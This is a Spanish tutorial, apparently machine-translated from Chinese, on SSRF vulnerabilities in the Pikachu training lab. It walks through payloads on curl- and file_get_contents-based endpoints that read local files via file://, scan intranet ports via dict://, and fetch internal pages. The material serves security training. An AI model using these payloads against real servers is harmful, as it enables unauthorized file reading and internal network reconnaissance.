Directorio de artículos
SSRF (falsificación de solicitudes del lado del servidor: falsificación de solicitudes del lado del servidor)
La mayoría de las razones para su formación son que el servidor proporciona la función de obtener datos de otras aplicaciones del servidor , pero no filtra ni limita estrictamente la dirección de destino, por lo que el atacante puede pasar cualquier dirección para permitir que el servidor back-end inicie enviarle una solicitud y devolver los datos solicitados por la dirección de destino
Flujo de datos: atacante----->servidor---->dirección de destino
Dependiendo de las funciones utilizadas en segundo plano, el impacto correspondiente y los métodos de utilización son diferentes.
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
Si es necesario realizar una solicitud de recurso a una dirección especificada por el usuario ("o una solicitud integrada en el front-end") de forma remota a través del servidor en segundo plano, filtre la dirección de destino .
SSRF(curvatura)
Uso del tutorial para principiantes de la función cURL
La biblioteca libcurl soportada por PHP y creada por Daniel Stenberg le permite conectarse y comunicarse con varios servidores utilizando varios tipos de protocolos.
libcurl actualmente admite los protocolos http, https, ftp, gopher, telnet, dict, file y ldap.
libcurl también admite autenticación HTTPS, HTTP POST, HTTP PUT, carga FTP (esto también se puede hacer con la extensión FTP de PHP), carga basada en formulario HTTP, proxy, cookies y autenticación de nombre de usuario+contraseña.
Haga clic en el enlace para ver qué cambios
http://192.168.80.139/pikachu/vul/ssrf/ssrf_curl.php
url
Una barra de direcciones más?url参数
?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
curl admite muchos protocolos y podemos probarlos de las siguientes maneras:
acceso URL
?url=https://github.com/
Acceda a archivos locales a través del protocolo de archivos
?url=file:///c:/test/www.txt
El protocolo dict escanea los puertos abiertos del host de la intranet
Utilice el protocolo dict para obtener la información de huellas dactilares del servicio correspondiente en el puerto abierto del host de la intranet
?url=dict://192.168.80.139:80
dirección del campo de tiro de pikachu
?url=dict://192.168.80.141:80
?url=dict://192.168.80.141:22
SSRF(archivo_obtener_contenido)
file_get_content tutorial para novatos
http://192.168.80.139/pikachu/vul/ssrf/ssrf_fgc.php
Haga clic en el enlace para observar el cambio de URL en la barra de direcciones.
Descubrí ?url参数
que ha cambiado ?file参数
, puedes intentar visitar la página de Baidu.
acceso al sitio web
?file=http://www.baidu.com
El protocolo HTTP solicita recursos de la intranet
también puede visitar?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
Acceda a archivos locales a través del protocolo de archivos
?file=file:///c:/test/www.txt